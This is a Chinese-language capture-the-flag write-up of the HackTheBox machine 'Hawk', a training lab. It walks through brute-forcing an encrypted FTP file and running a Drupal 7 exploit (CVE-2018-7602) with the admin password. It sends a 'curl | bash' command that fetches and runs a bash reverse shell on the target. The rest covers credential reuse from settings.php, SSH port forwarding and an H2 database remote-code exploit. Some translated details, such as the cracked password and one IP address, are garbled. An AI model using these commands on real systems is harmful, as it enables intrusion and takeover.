> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/hawk-hackthebox-writeup.md).

# Hawk HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/146>" %}

{% hint style="warning" %}
**技能：**

* OpenSSL 密码暴力破解与解密
* Drupal 枚举/利用
* H2 数据库利用
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/238fbe9d9bb4a63592fc906160f8ff0c67a3a133" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信

<figure><img src="/files/411e6151ffa3d1ca1567b789a156de32213d1cb8" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

探测开放端口，并导出到 Nmap 目录中的“allPorts”文件。

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.102 -oG allPorts
```

<figure><img src="/files/a141ce8440c22d8ba1c5a0a584087d3a99606230" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板（21,22,80,5435,9092）

<figure><img src="/files/5b046e31eb7501882fd431d1352db3a5da423076" alt=""><figcaption></figcaption></figure>

#### 使用 Nmap 进行端口版本扫描：

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p21,22,80,5435,9092 10.10.10.102 -oN targeted
```

<figure><img src="/files/82f416641a3c372c38606191c5412c6afca314b4" alt=""><figcaption></figcaption></figure>

### 21 端口 - FTP

我们以 **anonymous** 用户身份连接，并发现一个名为 `.drupal.txt.enc`.

<figure><img src="/files/2aac7f89ce65110dcd3e11064454b801c38e198f" alt=""><figcaption></figcaption></figure>

## 暴力破解 - Openssh（.enc）

> 该 **.enc** 扩展名通常表示一个 **编码的** 文件（已加密）。它用于表示文件内容已通过加密算法保护，没有相应的密钥或密码，数据将无法读取。这些文件可以包含任何类型的数据（文本、图片、视频等），通常用于保护敏感信息。

该 `.enc` 文件使用一种算法加密 **AES-256-CBC** 并以 **Base64**.

<figure><img src="/files/df1544c24dc540b286df0d70021785d68da3237e" alt=""><figcaption></figcaption></figure>

**步骤 1：解码 Base64**

```bash
cat .drupal.txt.enc | base64 -d > file_decoded.enc
```

<figure><img src="/files/36469c567bb5f3bbd42fa748401af5859f6cbfaf" alt=""><figcaption></figcaption></figure>

**步骤 2：使用 OpenSSL 解密**

要解读该文件，我们需要一个密码。以下是尝试手动解密的命令：

```bash
openssl enc -aes-256-cbc -d -in .drupal.txt.enc -out .drupal.txt -base64
```

<figure><img src="/files/8718aca3315009748847fbe9b2c3e11b96a75bf3" alt=""><figcaption></figcaption></figure>

**步骤 3：暴力破解自动化脚本**

我们使用一个 Bash 脚本来测试密码列表（例如 `rockyou.txt`).

```bash
#!/bin/bash

function ctrl_c(){
    echo -e "/n/n[!] 正在退出.../n"
    tput cnorm; exit 1
}

# Ctrl+C
trap ctrl_c INT

tput civis
for password in $(cat /usr/share/wordlists/rockyou.txt); do
    openssl aes-256-cbc -d -in drupal.enc -out drupal.decrypted -pass pass:$password &>/dev/null

    if [ "$(echo $?)" == "0" ]; then
        echo -e "/n[+] 密码是：$password/n"
        exit 0
    fi
done; tput cnorm
```

**结果：**

找到的密码是： **朋友们**

<figure><img src="/files/680c5360cd569b3e218f719ecf63be57526e4734" alt=""><figcaption></figcaption></figure>

#### **解密后的消息**

解密后的文件包含一个新密码：

```bash
openssl enc -aes-256-cbc -d -in .drupal.txt.enc -out .drupal.txt -base64

朋友们
```

* **PencilKeyboardScanner123**

<figure><img src="/files/e6dba694b6f0a4c93771bf800f60a3c8416c2448" alt=""><figcaption></figcaption></figure>

## 端口 80 - HTTP

80 端口托管着一个 Drupal 7 CMS。

```bash
whatweb 10.10.10.102
```

<figure><img src="/files/86ff4158697a3c715feb90c316742023de597517" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/294d77adcee9435fd7c41a7815633455ef1afcc1" alt=""><figcaption></figcaption></figure>

**认证 - 使用密码访问**

尝试使用 `PencilKeyboardScanner123` 该用户的密码 `admin` 并且认证成功。

<figure><img src="/files/5921c644fad0cf9f97e8edf8f3aed90a61c3f226" alt=""><figcaption></figcaption></figure>

### 反向 Shell - Drupal 7

我们将使用以下脚本在 Drupal 7 以下版本服务器上执行命令（CVE-2018-7602）：

{% embed url="<https://github.com/pimps/CVE-2018-7600/blob/master/drupa7-CVE-2018-7602.py>" %}

```bash
python3 drupa7-CVE-2018-7602.py admin PencilKeyboardScanner123 http://10.10.10.102 -c "id" -f "passthru"
```

该命令允许你执行 `id` 服务器上的命令。

<figure><img src="/files/25f1cbfd5bc424e5b7cb1b45cae2c8464c503616" alt=""><figcaption></figcaption></figure>

**访问服务器**/ 为了建立对服务器的访问，我们需要使用 `nc`

```bash
nc -nvlp 443
```

然后你创建一个 `index.html` 包含以下内容的文件，以建立反向 shell：

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.30/443 0>&1
```

**Web 服务器和命令执行**/ 使用 Python 启动一个 HTTP 服务器：

```bash
python3 -m http.server 80 
```

然后发送以下命令下载并运行脚本：

```bash
curl http://10.10.14.3 | bash
```

```bash
python3 drupa7-CVE-2018-7602.py admin PencilKeyboardScanner123 http://10.10.10.102 -c "curl http://10.10.14.30 | bash" -f "passthru"
```

<div data-full-width="true"><figure><img src="/files/fb00569e5318a0c46986094bb20d6cdf90a69375" alt=""><figcaption></figcaption></figure></div>

**终端稳定化** 为管理终端，使用以下命令：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### user.txt 标志 :)

<figure><img src="/files/37b38bf8329e450a0337c30ec74adc920bf64ed5" alt="" width="563"><figcaption></figcaption></figure>

## **权限提升**

通过探索位于 `/var/www/html`的 Web 目录，可以看到多个配置文件。其中，识别出一个有趣的文件：

<figure><img src="/files/edb34f06d33f903ca29fb8cbf6219e4e7ca1bbcc" alt=""><figcaption></figcaption></figure>

**路径：** `sites/default/settings.php`

在查看该文件时，我们发现敏感信息：

* 用户名：drupal
* 密码：drupal4hawk

<figure><img src="/files/b686597d4b1fc94ae1543d866a578b514855550c" alt=""><figcaption></figcaption></figure>

这些凭据用于连接 MySQL 数据库。为此，使用以下命令：

```bash
mysql -u drupal -p
```

<figure><img src="/files/83409471ac6ec27c0bd9e6a225c8a5ddd916d351" alt=""><figcaption></figcaption></figure>

输入密码后，会列出所有可用数据库，然后选择与 Drupal 相关的数据库：

```sql
show databases;
use drupal;
```

进入数据库后，我们探索 `users` 表的内容以查找有趣的信息：

```
SELECT * FROM users;
```

在此表中，我们找到与某个用户关联的哈希密码：

<figure><img src="/files/84c4d61139f71a84264ab9d6cffd312be017057c" alt=""><figcaption></figcaption></figure>

* `$S$DFw163ixD00W55hdCqtvCB13XOTLhZ0pt0FVpFy1Ntmdp5EAOX08`

### 使用 John 暴力破解 - 密码哈希

使用 John 破解密码哈希

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

然而，在这个特定情况下，在 `rockyou.txt` 密码列表中未找到匹配项。

### 从 Python 逃逸到正常 Bash

我们以 `daniel` 使用与数据库关联的密码的用户身份访问了服务器（在本例中， **drupal4hawk**）。以下是连接命令：

```bash
ssh daniel@10.10.10.182
```

密码： **drupal4hawk**

连接后，我们直接进入 Python 解释器。

<figure><img src="/files/6aae5275d7c525489cc02dc5505b51ea31fc5c10" alt=""><figcaption></figcaption></figure>

要返回到正常的 Bash shell，我们可以使用 Python 的 `os` 模块来执行 Bash 命令。步骤如下：

1. 导入模块 `os` :

   ```python
   import os
   ```
2. 运行 Bash shell：

   ```python
   os.system('/bin/bash')
   ```

这将使你能够从 Python 解释器访问普通的 Bash shell。

<figure><img src="/files/3d7ac6e76c26cf9a08b7bf47fd66537b690f16c5" alt=""><figcaption></figcaption></figure>

## H2 数据库利用

/*/* 开放端口分析/*/*

首先，我们使用以下命令在内部枚举开放端口：

```bash
netstat -tuln
```

我们识别出端口 **8082** 处于开放状态并运行着一个服务。通过分析，我们发现它是一个数据库 CMS： **H2 数据库**.

<figure><img src="/files/ded992d8449750775a843994252afd395b8dc238" alt=""><figcaption></figcaption></figure>

要从我们的机器访问此服务，我们使用 **SSH**，将内部 8082 端口重定向到本地机器的 8082 端口：

<figure><img src="/files/1ff293215cdc525088f595c9da20acb34c072f75" alt=""><figcaption></figcaption></figure>

### 端口转发

要从我们的机器访问此服务，我们使用 **SSH**，将内部 8082 端口重定向到本地机器的 8082 端口：

```bash
ssh -L 8082:127.0.0.1:8082 daniel@10.10.10.102
```

### H2 数据库：

<figure><img src="/files/5c6c4e1bc23a018cfee9d24cf9b10d3e84691b56" alt=""><figcaption></figcaption></figure>

我们使用 **searchsploit** 以搜索与 H2 数据库相关的已知漏洞：

<figure><img src="/files/ec628783f9df58968c7af4bdf67cf6be8254ef5a" alt=""><figcaption></figcaption></figure>

```
searchsploit -m java/webapps/45506.py
```

我们发现一个有趣的利用方式，允许远程命令执行：

```bash
python3 45506.py -H 127.0.0.1:8082
```

<figure><img src="/files/118e46aaf328ff3bc160b07c55215cbdc8557d83" alt=""><figcaption></figcaption></figure>

### root.txt flag :)

该脚本允许我们在目标机器上执行命令。通过遍历系统，我们找回了 **root.txt 标志**.

<figure><img src="/files/917be20c4a9b945fb7530745089d08f578cd12b8" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/d75cc0d9b75e9a27194974e98e390531c792de41" alt="" width="488"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/hawk-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
